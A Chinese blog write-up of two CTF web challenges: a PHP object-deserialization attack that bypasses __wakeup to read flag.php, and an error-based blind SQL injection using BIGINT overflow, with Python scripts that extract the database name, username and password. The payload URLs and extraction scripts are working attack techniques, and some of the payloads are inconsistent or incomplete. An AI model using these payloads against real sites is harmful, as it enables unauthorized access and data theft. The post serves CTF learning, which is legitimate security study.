记录一道web题目

作者: print("") 分类: 未分类 发布时间: 2019-04-20 15:46

 http://95d0deaf1ade4dada96134a916bce5e1ab4dfa4227fb4400.changame.ichunqiu.com/ 

php协议读取文件

读取到index.php

<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
	echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
	die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
    	    die('stop hacking!');
    	    exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>

hint.php

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
	public function __construct($handle) { 
        $this->handle = $handle; 
    } 
	public function __destruct(){
		$this->handle->getFlag();
	}
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
		$this->file = $file;
		$this->token_flag = $this->token = md5(rand(1,10000));
    }
    
	public function getFlag(){
		$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
		{
			if(isset($this->file)){
				echo @highlight_file($this->file,true); 
            }  
        }
    }
}

?>

看了一下代码。思路大概是引用hint.php 反序列化 hint.php 那个函数然后改改就ok

反序列化函数

    <?php
    class Handle{
        private $handle;
        public function __wakeup(){
            foreach(get_object_vars($this) as $k => $v) {
                $this->$k = null;
            }
            echo "Waking up\n";
        }
        public function __construct($handle) {
            $this->handle = $handle;
        }
        public function __destruct(){
            $this->handle->getFlag();
        }
    }

    class Flag{
        public $file;
        public $token;
        public $token_flag;

        function __construct($file){
            $this->file = $file;
            $this->token_flag = $this->token = md5(rand(1,10000));
            $this->token = &$this->token_flag;
        }

        public function getFlag(){
            $this->token_flag = md5(rand(1,10000));
            if($this->token === $this->token_flag)
            {
                if(isset($this->file)){
                    echo @highlight_file($this->file,true);
                }
            }
        }
    }


    $flag = new Flag("flag.php");
    $handle = new Handle($flag);
    echo serialize($handle)."\n";
    ?>

得到反序列化字符串

O:6:”Handle”:1:{s:14:”Handlehandle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;s:32:”0dbcf39d413231953d442f2f17f80cd5″;s:10:”token_flag”;R:4;}}

看到调用了一下__wakeup 函数。绕过这个函数的方法:

 当成员属性数目大于实际数目时可绕过wakeup

得出:

O:6:”Handle”:2:{s:14:”Handlehandle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;s:32:”0dbcf39d413231953d442f2f17f80cd5″;s:10:”token_flag”;R:4;}}

 private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2   protected的参数变成 \00*\00test3 

 所以 Handlehandle 中间需要%00

变成了如下:

O:6:”Handle”:2:{s:14:”%00Handle%00handle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;s:32:”0dbcf39d413231953d442f2f17f80cd5″;s:10:”token_flag”;R:4;}}

/index.php?file=hint.php&payload=O:6:”Handle”:2:{s:14:”%00Handle%00handle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;0dbcf39d413231953d442f2f17f80cd5;s:10:”token_flag”;R:4;}}

发现还有一个url 没有绕过

变成了如下的url

 ///index.php?file=hint.php&payload=O:6:”Handle”:2:{s:14:”%00Handle%00handle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;0dbcf39d413231953d442f2f17f80cd5;s:10:”token_flag”;R:4;}} 

第二道题目:

大概的思路就是

mysql> select 1+9223372036854775807
    -> ;
ERROR 1690 (22003): BIGINT value is out of range in '(1 + 9223372036854775807)'
mysql> select 9223372036854775807
    -> ;
+---------------------+
| 9223372036854775807 |
+---------------------+
| 9223372036854775807 |
+---------------------+
1 row in set (0.00 sec)

mysql> 

首先确定了数据库当前表为1个字段

username=1′ union select 1 %23&password=1111′—

为登陆失败

username=1′ union select 1,2 %23&password=1111′—

的时候登陆错误

那么就确定了数据库为当前表为1 个字段。

然后确定数据库的当前名称

经过测试为3个字符

例如这样的

select * from liang where username='1' union select ascii(substr((select database()),1,1))+9223372036854775806

的时候登陆失败

username=1′ union select ascii(substr((select database()),4,1))%2b9223372036854775807 %23&password=1111′—

username=1′ union select ascii(substr((select database()),3,1))%2b9223372036854775807 %23&password=1111′—

的时候为数据库报错。那么确定了数据库为3个字符串长度

写了一个一半的脚本。然后服务器就挂了

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author: Ben
# Time : 2018/9/29/029 23:23
import requests

db=''' 1' union select ascii(substr((select database()),4,1))%2b9223372036854775807 %23'''
#print(username)
def check(db):
    url='http://39.106.224.151:52105'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}
    data={"username":db,"password":"1"}
    re2=requests.post(url=url,headers=headers,data=data)
    import re
    print(re2.text)
    data=str(re2.text)
    ret2 = "</p><p style='color: red'>.*</p>"
    dat2=re.findall(ret2,data)
    liang=dat2[0]
    list_data=(liang.replace("</p><p style='color: red'>",'').replace("</p>",''))
    data_16=list_data.encode('utf-8')
    if data_16==b"\xc3\xa7\xc2\x99\xc2\xbb\xc3\xa9\xc2\x99\xc2\x86\xc3\xa5\xc2\xa4\xc2\xb1\xc3\xa8\xc2\xb4\xc2\xa5\xc3\xaf\xc2\xbc\xc2\x81":
        print('登陆失败')
        return 1
    else:
        print("数据库执行错误")
        return 2


check(db)

得到数据库为CTF

然后继续fuzz 发现有一张user 表, 字段有username passwd

获取账号

def get_usernam():
    ret=[]
    for i in range(1, 4):
        for i2 in numbers_letters:
            i2=ord(i2)
            db = '''1' union select ascii(substr((select username from user),%s,1)) +(9223372036854775807-%s) #'''%(str(i),str(i2))
            chekc=check(db)
            print(chekc)
            if chekc==1:
                ccc=i2-1
                db = '''1' union select ascii(substr((select username from user),%s,1)) +(9223372036854775807-%s) #''' % (
                str(i), str(ccc))
                chekc = check(db)
                if chekc==2:
                    print("数据库第%s个字符串为%s"%(i,chr(i2)))
                    ret.append(chr(i2))
                    if i==3:
                        return ret

用户名为admin

获取数据库

def get_usernam():
    ret=[]
    for i in range(1, 4):
        for i2 in numbers_letters:
            i2=ord(i2)
            db = '''1' union select ascii(substr((select password from user),%s,1)) +(9223372036854775807-%s) #'''%(str(i),str(i2))
            chekc=check(db)
            print(chekc)
            if chekc==1:
                ccc=i2-1
                db = '''1' union select ascii(substr((select password from user),%s,1)) +(9223372036854775807-%s) #''' % (
                str(i), str(ccc))
                chekc = check(db)
                if chekc==2:
                    print("数据库第%s个字符串为%s"%(i,chr(i2)))
                    ret.append(chr(i2))
                    if i==3:
                        return ret

得到的密码好像不完整。登陆不进去。应该是有特殊字符之类的

修改了一下

numbers_letters+'!@#$%^&*()_+/<>+.[
然后得到密码 F1AG@1s-at_/fll1llag_h3r3 
 
。登陆之后发现是需要读取的。然后就没有成功去读到flag
 
最后还是看了一下官方的WP
https://www.ctfwp.com/articals/2019national.html

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!